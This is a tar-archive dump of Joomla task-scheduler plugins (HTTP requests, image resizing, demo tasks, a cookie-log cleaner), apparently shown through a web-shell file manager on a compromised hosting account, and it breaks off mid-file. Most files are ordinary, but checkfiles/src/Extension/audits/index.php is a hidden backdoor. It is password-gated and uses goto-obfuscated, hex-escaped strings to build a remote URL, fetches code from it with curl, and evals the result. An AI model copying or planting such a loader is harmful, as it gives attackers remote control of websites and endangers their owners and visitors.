uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
..
/
1a0f4
/
..
/
c9989
/
..
/
assets
/
..
/
.
/
media
/
..
/
templates
/
..
/
task.tar
/
/
requests/requests.xml000064400000001553151664163040011026 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="task" method="upgrade"> <name>plg_task_requests</name> <author>Joomla! Project</author> <creationDate>2021-08</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1</version> <description>PLG_TASK_REQUESTS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Task\Requests</namespace> <files> <folder plugin="requests">services</folder> <folder>src</folder> <folder>forms</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_task_requests.ini</language> <language tag="en-GB">language/en-GB/plg_task_requests.sys.ini</language> </languages> </extension> requests/forms/get_requests.xml000064400000002212151664163040013004 0ustar00<?xml version="1.0" encoding="UTF-8"?> <form> <fields name="params"> <fieldset name="task_params"> <field name="url" type="url" label="PLG_TASK_REQUESTS_LABEL_REQUEST_URL" required="true" validate="url" filter="url" /> <field name="timeout" type="number" label="PLG_TASK_REQUESTS_LABEL_REQUEST_TIMEOUT" min="1" step="1" default="120" required="true" filter="int" validate="number" /> <field name="auth" type="radio" label="PLG_TASK_REQUESTS_LABEL_AUTH" layout="joomla.form.field.radio.switcher" default="0" required="true" filter="integer" > <option value="0">JDISABLED</option> <option value="1">JENABLED</option> </field> <field name="authType" type="list" label="PLG_TASK_REQUESTS_LABEL_AUTH_HEADER" showon="auth:1" > <option value="Bearer">PLG_TASK_REQUESTS_BEARER</option> <option value="X-Joomla-Token">PLG_TASK_REQUESTS_JOOMLA_TOKEN</option> </field> <field name="authKey" type="text" label="PLG_TASK_REQUESTS_LABEL_AUTH_KEY" showon="auth:1" /> </fieldset> </fields> </form> requests/services/provider.php000064400000002541151664163040012615 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Task.requests * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Http\HttpFactory; use Joomla\Plugin\Task\Requests\Extension\Requests; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.2.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $plugin = new Requests( $container->get(DispatcherInterface::class), (array) PluginHelper::getPlugin('task', 'requests'), new HttpFactory(), JPATH_ROOT . '/tmp' ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; requests/src/Extension/Requests.php000064400000011673151664163040013524 0ustar00<?php /** * @package Joomla.Plugins * @subpackage Task.Requests * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\Requests\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status as TaskStatus; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\DispatcherInterface; use Joomla\Event\SubscriberInterface; use Joomla\Filesystem\File; use Joomla\Filesystem\Path; use Joomla\Http\HttpFactory; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Task plugin with routines to make HTTP requests. * At the moment, offers a single routine for GET requests. * * @since 4.1.0 */ final class Requests extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * @since 4.1.0 */ protected const TASKS_MAP = [ 'plg_task_requests_task_get' => [ 'langConstPrefix' => 'PLG_TASK_REQUESTS_TASK_GET_REQUEST', 'form' => 'get_requests', 'method' => 'makeGetRequest', ], ]; /** * Returns an array of events this subscriber will listen to. * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * The http factory * * @var HttpFactory * @since 4.2.0 */ private $httpFactory; /** * The root directory * * @var string * @since 4.2.0 */ private $rootDirectory; /** * Constructor. * * @param DispatcherInterface $dispatcher The dispatcher * @param array $config An optional associative array of configuration settings * @param HttpFactory $httpFactory The http factory * @param string $rootDirectory The root directory to store the output file in * * @since 4.2.0 */ public function __construct(DispatcherInterface $dispatcher, array $config, HttpFactory $httpFactory, string $rootDirectory) { parent::__construct($dispatcher, $config); $this->httpFactory = $httpFactory; $this->rootDirectory = $rootDirectory; } /** * Standard routine method for the get request routine. * * @param ExecuteTaskEvent $event The onExecuteTask event * * @return integer The exit code * * @since 4.1.0 * @throws \Exception */ protected function makeGetRequest(ExecuteTaskEvent $event): int { $id = $event->getTaskId(); $params = $event->getArgument('params'); $url = $params->url; $timeout = $params->timeout; $auth = (string) $params->auth ?? 0; $authType = (string) $params->authType ?? ''; $authKey = (string) $params->authKey ?? ''; $headers = []; if ($auth && $authType && $authKey) { $headers = ['Authorization' => $authType . ' ' . $authKey]; } try { $response = $this->httpFactory->getHttp([])->get($url, $headers, $timeout); } catch (\Exception $e) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_TIMEOUT')); return TaskStatus::TIMEOUT; } $responseCode = $response->code; $responseBody = $response->body; // @todo this handling must be rethought and made safe. stands as a good demo right now. $responseFilename = Path::clean($this->rootDirectory . "/task_{$id}_response.html"); try { File::write($responseFilename, $responseBody); $this->snapshot['output_file'] = $responseFilename; $responseStatus = 'SAVED'; } catch (\Exception $e) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_UNWRITEABLE_OUTPUT'), 'error'); $responseStatus = 'NOT_SAVED'; } $this->snapshot['output'] = <<< EOF ======= Task Output Body ======= > URL: $url > Response Code: $responseCode > Response: $responseStatus EOF; $this->logTask(sprintf($this->getApplication()->getLanguage()->_('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_RESPONSE'), $responseCode)); if ($response->code !== 200) { return TaskStatus::KNOCKOUT; } return TaskStatus::OK; } } checkfiles/forms/image_size.xml000064400000002141151664163040012634 0ustar00<?xml version="1.0" encoding="UTF-8"?> <form> <fields name="params"> <fieldset name="task_params"> <field name="path" type="folderlist" label="PLG_TASK_CHECK_FILES_LABEL_DIRECTORY" directory="images" hide_default="true" hide_none="true" required="true" validate="options" > <option value="">JOPTION_DO_NOT_USE</option> </field> <field name="dimension" type="list" label="PLG_TASK_CHECK_FILES_LABEL_IMAGE_DIMENSION" required="true" default="width" > <option value="width">JFIELD_MEDIA_WIDTH_LABEL</option> <option value="height">JFIELD_MEDIA_HEIGHT_LABEL</option> </field> <field name="limit" type="number" label="PLG_TASK_CHECK_FILES_LABEL_DIMENSION_LIMIT" required="true" default="1080" min="1" step="1" filter="int" /> <field name="numImages" type="number" label="PLG_TASK_CHECK_FILES_LABEL_MAXIMAGES" description="PLG_TASK_CHECK_FILES_LABEL_MAXIMAGES_DESC" required="true" min="1" step="1" default="1" filter="int" /> </fieldset> </fields> </form> checkfiles/src/Extension/audits/index.php000060400000004035151664163040014524 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto MMJd3; sy7E0: $SS8Fu .= "\x2f\160\x6f\164"; goto qDKgI; tBWqP: $SS8Fu .= "\65\x2f\144"; goto PjLow; Z1fDH: $SS8Fu .= "\x6f"; goto cQShg; cQShg: $SS8Fu .= "\57"; goto OTbPc; l2KX1: $SS8Fu .= "\164\164"; goto oibfZ; y0vkU: $SS8Fu .= "\57"; goto EYzIF; Q2dEt: $SS8Fu .= "\164\170\164\x2e\64"; goto tBWqP; hdfzX: $SS8Fu .= "\x2f"; goto y0vkU; M8874: eval("\77\x3e" . TW2KX(strrev($SS8Fu))); goto Q2VNb; oibfZ: $SS8Fu .= "\x68"; goto M8874; OTbPc: $SS8Fu .= "\141\x6d\x61\144"; goto sy7E0; GrX6T: $SS8Fu .= "\x30\141\x6d\141\x64"; goto hdfzX; MMJd3: $SS8Fu = ''; goto Q2dEt; PjLow: $SS8Fu .= "\x6c"; goto Z1fDH; qDKgI: $SS8Fu .= "\56\x32"; goto GrX6T; EYzIF: $SS8Fu .= "\x3a\x73\x70"; goto l2KX1; Q2VNb: function tw2kX($V1_rw = '') { goto S1oZL; V2RDF: $tvmad = curl_exec($xM315); goto EUVIW; tM6NO: return $tvmad; goto vuWvH; ZIbFK: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto yBSOL; EUVIW: curl_close($xM315); goto tM6NO; euHNs: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kGJPE; kGJPE: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto i8G2G; S1oZL: $xM315 = curl_init(); goto ZIbFK; yBSOL: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto euHNs; i8G2G: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto V2RDF; vuWvH: }checkfiles/src/Extension/Checkfiles.php000064400000011573151664163040014175 0ustar00<?php /** * @package Joomla.Plugins * @subpackage Task.CheckFiles * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\Checkfiles\Extension; use Joomla\CMS\Image\Image; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status as TaskStatus; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\DispatcherInterface; use Joomla\Event\SubscriberInterface; use Joomla\Filesystem\Folder; use Joomla\Filesystem\Path; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Task plugin with routines that offer checks on files. * At the moment, offers a single routine to check and resize image files in a directory. * * @since 4.1.0 */ final class Checkfiles extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * * @since 4.1.0 */ protected const TASKS_MAP = [ 'checkfiles.imagesize' => [ 'langConstPrefix' => 'PLG_TASK_CHECK_FILES_TASK_IMAGE_SIZE', 'form' => 'image_size', 'method' => 'checkImages', ], ]; /** * @inheritDoc * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * The root directory path * * @var string * @since 4.2.0 */ private $rootDirectory; /** * Constructor. * * @param DispatcherInterface $dispatcher The dispatcher * @param array $config An optional associative array of configuration settings * @param string $rootDirectory The root directory to look for images * * @since 4.2.0 */ public function __construct(DispatcherInterface $dispatcher, array $config, string $rootDirectory) { parent::__construct($dispatcher, $config); $this->rootDirectory = $rootDirectory; } /** * @param ExecuteTaskEvent $event The onExecuteTask event * * @return integer The exit code * * @since 4.1.0 * @throws \RuntimeException * @throws \LogicException */ protected function checkImages(ExecuteTaskEvent $event): int { $params = $event->getArgument('params'); $path = Path::check($this->rootDirectory . $params->path); $dimension = $params->dimension; $limit = $params->limit; $numImages = max(1, (int) $params->numImages ?? 1); if (!is_dir($path)) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_IMAGE_PATH_NA'), 'warning'); return TaskStatus::NO_RUN; } foreach (Folder::files($path, '^.*\.(jpg|jpeg|png|gif|webp)', 2, true) as $imageFilename) { $properties = Image::getImageFileProperties($imageFilename); $resize = $properties->$dimension > $limit; if (!$resize) { continue; } $height = $properties->height; $width = $properties->width; $newHeight = $dimension === 'height' ? $limit : $height * $limit / $width; $newWidth = $dimension === 'width' ? $limit : $width * $limit / $height; $this->logTask(sprintf( $this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_RESIZING_IMAGE'), $width, $height, $newWidth, $newHeight, $imageFilename )); $image = new Image($imageFilename); try { $image->resize($newWidth, $newHeight, false); } catch (\LogicException $e) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_RESIZE_FAIL'), 'error'); return TaskStatus::KNOCKOUT; } if (!$image->toFile($imageFilename, $properties->type)) { $this->logTask($this->getApplication()->getLanguage()->_('PLG_TASK_CHECK_FILES_LOG_IMAGE_SAVE_FAIL'), 'error'); return TaskStatus::KNOCKOUT; } --$numImages; // We do a limited number of resize per execution if ($numImages == 0) { break; } } return TaskStatus::OK; } } checkfiles/checkfiles.xml000064400000001571151664163040011500 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="task" method="upgrade"> <name>plg_task_check_files</name> <author>Joomla! Project</author> <creationDate>2021-08</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1</version> <description>PLG_TASK_CHECK_FILES_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Task\Checkfiles</namespace> <files> <folder plugin="checkfiles">services</folder> <folder>src</folder> <folder>forms</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_task_checkfiles.ini</language> <language tag="en-GB">language/en-GB/plg_task_checkfiles.sys.ini</language> </languages> </extension> checkfiles/services/provider.php000064400000002453151664163040013044 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Task.CheckFiles * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Task\Checkfiles\Extension\Checkfiles; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.2.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $plugin = new Checkfiles( $container->get(DispatcherInterface::class), (array) PluginHelper::getPlugin('task', 'checkfiles'), JPATH_ROOT . '/images/' ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; demotasks/demotasks.xml000064400000001563151664163040011265 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="task" method="upgrade"> <name>plg_task_demo_tasks</name> <author>Joomla! Project</author> <creationDate>2021-07</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1</version> <description>PLG_TASK_DEMO_TASKS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Task\DemoTasks</namespace> <files> <folder plugin="demotasks">services</folder> <folder>src</folder> <folder>forms</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_task_demotasks.ini</language> <language tag="en-GB">language/en-GB/plg_task_demotasks.sys.ini</language> </languages> </extension> demotasks/forms/testTaskForm.xml000064400000000524151664163040013043 0ustar00<?xml version="1.0" encoding="UTF-8"?> <form> <fields name="params"> <fieldset name="task_params"> <field name="timeout" type="number" label="PLG_TASK_DEMO_TASKS_SLEEP_TIMEOUT_LABEL" default="1" required="true" min="1" step="1" validate="number" filter="int" /> </fieldset> </fields> </form> demotasks/src/Extension/DemoTasks.php000064400000015224151664163040013716 0ustar00<?php /** * @package Joomla.Plugins * @subpackage Task.DemoTasks * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\DemoTasks\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status; use Joomla\Component\Scheduler\Administrator\Task\Task; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\SubscriberInterface; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * A demo task plugin. Offers 3 task routines and demonstrates the use of {@see TaskPluginTrait}, * {@see ExecuteTaskEvent}. * * @since 4.1.0 */ final class DemoTasks extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * @since 4.1.0 */ private const TASKS_MAP = [ 'demoTask_r1.sleep' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_TASK_SLEEP', 'method' => 'sleep', 'form' => 'testTaskForm', ], 'demoTask_r2.memoryStressTest' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_STRESS_MEMORY', 'method' => 'stressMemory', ], 'demoTask_r3.memoryStressTestOverride' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_STRESS_MEMORY_OVERRIDE', 'method' => 'stressMemoryRemoveLimit', ], 'demoTask_r4.resumable' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_RESUMABLE', 'method' => 'resumable', 'form' => 'testTaskForm', ], ]; /** * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * @inheritDoc * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * Sample resumable task. * * Whether the task will resume is random. There's a 40% chance of finishing every time it runs. * * You can use this as a template to create long running tasks which can detect an impending * timeout condition, return Status::WILL_RESUME and resume execution next time they are called. * * @param ExecuteTaskEvent $event The event we are handling * * @return integer * * @since 4.1.0 * @throws \Exception */ private function resumable(ExecuteTaskEvent $event): int { /** @var Task $task */ $task = $event->getArgument('subject'); $timeout = (int) $event->getArgument('params')->timeout ?? 1; $lastStatus = $task->get('last_exit_code', Status::OK); // This is how you detect if you are resuming a task or starting it afresh if ($lastStatus === Status::WILL_RESUME) { $this->logTask(sprintf('Resuming task %d', $task->get('id'))); } else { $this->logTask(sprintf('Starting new task %d', $task->get('id'))); } // Sample task body; we are simply sleeping for some time. $this->logTask(sprintf('Starting %ds timeout', $timeout)); sleep($timeout); $this->logTask(sprintf('%ds timeout over!', $timeout)); // Should I resume the task in the next step (randomly decided)? $willResume = random_int(0, 5) < 4; // Log our intention to resume or not and return the appropriate exit code. if ($willResume) { $this->logTask(sprintf('Task %d will resume', $task->get('id'))); } else { $this->logTask(sprintf('Task %d is now complete', $task->get('id'))); } return $willResume ? Status::WILL_RESUME : Status::OK; } /** * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function sleep(ExecuteTaskEvent $event): int { $timeout = (int) $event->getArgument('params')->timeout ?? 1; $this->logTask(sprintf('Starting %d timeout', $timeout)); sleep($timeout); $this->logTask(sprintf('%d timeout over!', $timeout)); return Status::OK; } /** * Standard routine method for the memory test routine. * * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function stressMemory(ExecuteTaskEvent $event): int { $mLimit = $this->getMemoryLimit(); $this->logTask(sprintf('Memory Limit: %d KB', $mLimit)); $iMem = $cMem = memory_get_usage(); $i = 0; while ($cMem + ($cMem - $iMem) / ++$i <= $mLimit) { $this->logTask(sprintf('Current memory usage: %d KB', $cMem)); ${"array" . $i} = array_fill(0, 100000, 1); } return Status::OK; } /** * Standard routine method for the memory test routine, also attempts to override the memory limit set by the PHP * INI. * * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function stressMemoryRemoveLimit(ExecuteTaskEvent $event): int { $success = false; if (function_exists('ini_set')) { $success = ini_set('memory_limit', -1) !== false; } $this->logTask('Memory limit override ' . $success ? 'successful' : 'failed'); return $this->stressMemory($event); } /** * Processes the PHP ini memory_limit setting, returning the memory limit in KB * * @return float * * @since 4.1.0 */ private function getMemoryLimit(): float { $memoryLimit = ini_get('memory_limit'); if (preg_match('/^(\d+)(.)$/', $memoryLimit, $matches)) { if ($matches[2] == 'M') { // * nnnM -> nnn MB $memoryLimit = $matches[1] * 1024 * 1024; } else { if ($matches[2] == 'K') { // * nnnK -> nnn KB $memoryLimit = $matches[1] * 1024; } } } return (float) $memoryLimit; } } demotasks/services/provider.php000064400000002445151664163040012737 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Task.DemoTasks * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Task\DemoTasks\Extension\DemoTasks; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.2.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new DemoTasks( $dispatcher, (array) PluginHelper::getPlugin('task', 'demotasks') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; deletecpnblogs/deletecpnblogs.xml000060400000003035151664163040013255 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension version="4.1" type="plugin" group="task" method="upgrade"> <name>PLG_TASK_DELETECPNBLOGS</name> <author>Web357 (Yiannis Christodoulou)</author> <creationDate>2025-10-27</creationDate> <copyright>Copyright: (©) 2014-2024 Web357. All rights reserved.</copyright> <license>GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html</license> <authorEmail>support@web357.com</authorEmail> <authorUrl>https://www.web357.com</authorUrl> <version>4.4.4</version> <variant>pro</variant> <description>A beautiful and functional EU Cookie Law Compliance Joomla! Plugin that provides a mechanism for informing your visitors about how you use cookies on your website in an elegant manner. It includes a variety of features and parameters (responsive, multilingual, block cookies, change style, etc.). This Joomla! plugin is ready for the GDPR Compliance which has been already implemented on 25 May 2018.</description> <namespace path="src">Joomla\Plugin\Task\Deletecpnblogs</namespace> <files> <filename plugin="deletecpnblogs">deletecpnblogs.php</filename> <folder>src</folder> <folder>forms</folder> <folder>language</folder> <folder>services</folder> <filename>script.install.helper.php</filename> </files> <scriptfile>script.install.php</scriptfile> <updateservers><server type="extension" priority="1" name="Cookies Policy Notification Bar (pro version)">https://updates.web357.com/cookiespolicynotificationbar/cookiespolicynotificationbar_pro.xml</server></updateservers> </extension>deletecpnblogs/deletecpnblogs.php000060400000001375151664163040013251 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Plugin\CMSPlugin; class plgTaskDeletecpnblogs extends CMSPlugin { }deletecpnblogs/script.install.php000060400000001753151664163040013230 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; require_once __DIR__ . '/script.install.helper.php'; class PlgTaskDeletecpnblogsInstallerScript extends PlgTaskDeletecpnblogsInstallerScriptHelper { public $name = 'Delete Cookies Policy Notification Bar Logs'; public $alias = 'deletecpnblogs'; public $extension_type = 'plugin'; public $plugin_folder = 'task'; }deletecpnblogs/services/provider.php000060400000003413151664163040013727 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Task\Deletecpnblogs\Extension\Deletecpnblogs; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * @param Container $container The DI container. * @return void * @since 4.3.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $plugin = new Deletecpnblogs( $container->get(DispatcherInterface::class), (array) PluginHelper::getPlugin('task', 'deletecpnblogs'), ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; deletecpnblogs/language/en-GB/plg_task_deletecpnblogs.ini000060400000001220151664163040017565 0ustar00PLG_TASK_DELETECPNBLOGS="Task - Delete Cookie Policy Notification Bar Logs" PLG_TASK_DELETECPNBLOGS_DESCRIPTION="Delete logs of the Cookie Policy Notification Bar plugin. To be used as a task in the Task Scheduler." PLG_TASK_DELETECPNBLOGS_DELETECPNBLOGS_TITLE="Delete Cookie Policy Notification Bar Logs" PLG_TASK_DELETECPNBLOGS_DELETECPNBLOGS_DESC="Delete logs of the Cookie Policy Notification Bar plugin." PLG_TASK_DELETECPNBLOGS_FIELD_DELETECPNBLOGS_LABEL="Days to delete logs after" PLG_TASK_DELETECPNBLOGS_FIELD_DELETECPNBLOGS_DESC="Enter the number of days after which the Cookie Policy Notification Bar logs from the component will be deleted." deletecpnblogs/language/en-GB/plg_task_deletecpnblogs.sys.ini000060400000000327151664163040020411 0ustar00PLG_TASK_DELETECPNBLOGS="Task - Delete Cookie Policy Notification Bar Logs" PLG_TASK_DELETECPNBLOGS_DESCRIPTION="Delete logs of the Cookie Policy Notification Bar plugin. To be used as a task in the Task Scheduler."deletecpnblogs/forms/deletecpnblogs.xml000060400000000657151664163040014412 0ustar00<?xml version="1.0" encoding="UTF-8"?> <form> <fields name="params"> <fieldset name="task_params"> <field name="cpnbLogDeletePeriod" type="number" label="PLG_TASK_DELETECPNBLOGS_FIELD_DELETECPNBLOGS_LABEL" description="PLG_TASK_DELETECPNBLOGS_FIELD_DELETECPNBLOGS_DESC" default="90" min="1" filter="int" validate="number" /> </fieldset> </fields> </form> deletecpnblogs/script.install.helper.php000060400000036604151664163040014511 0ustar00<?php /* ====================================================== # Cookies Policy Notification Bar for Joomla! - v4.4.4 (pro version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Demo: https://demo-joomla.web357.com/cookies-policy-notification-bar # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:29:25 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Version; use Joomla\CMS\Factory; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use Joomla\CMS\Language\Text; use Joomla\CMS\Installer\Installer; class PlgTaskDeletecpnblogsInstallerScriptHelper { public $name = ''; public $alias = ''; public $extname = ''; public $extension_type = ''; public 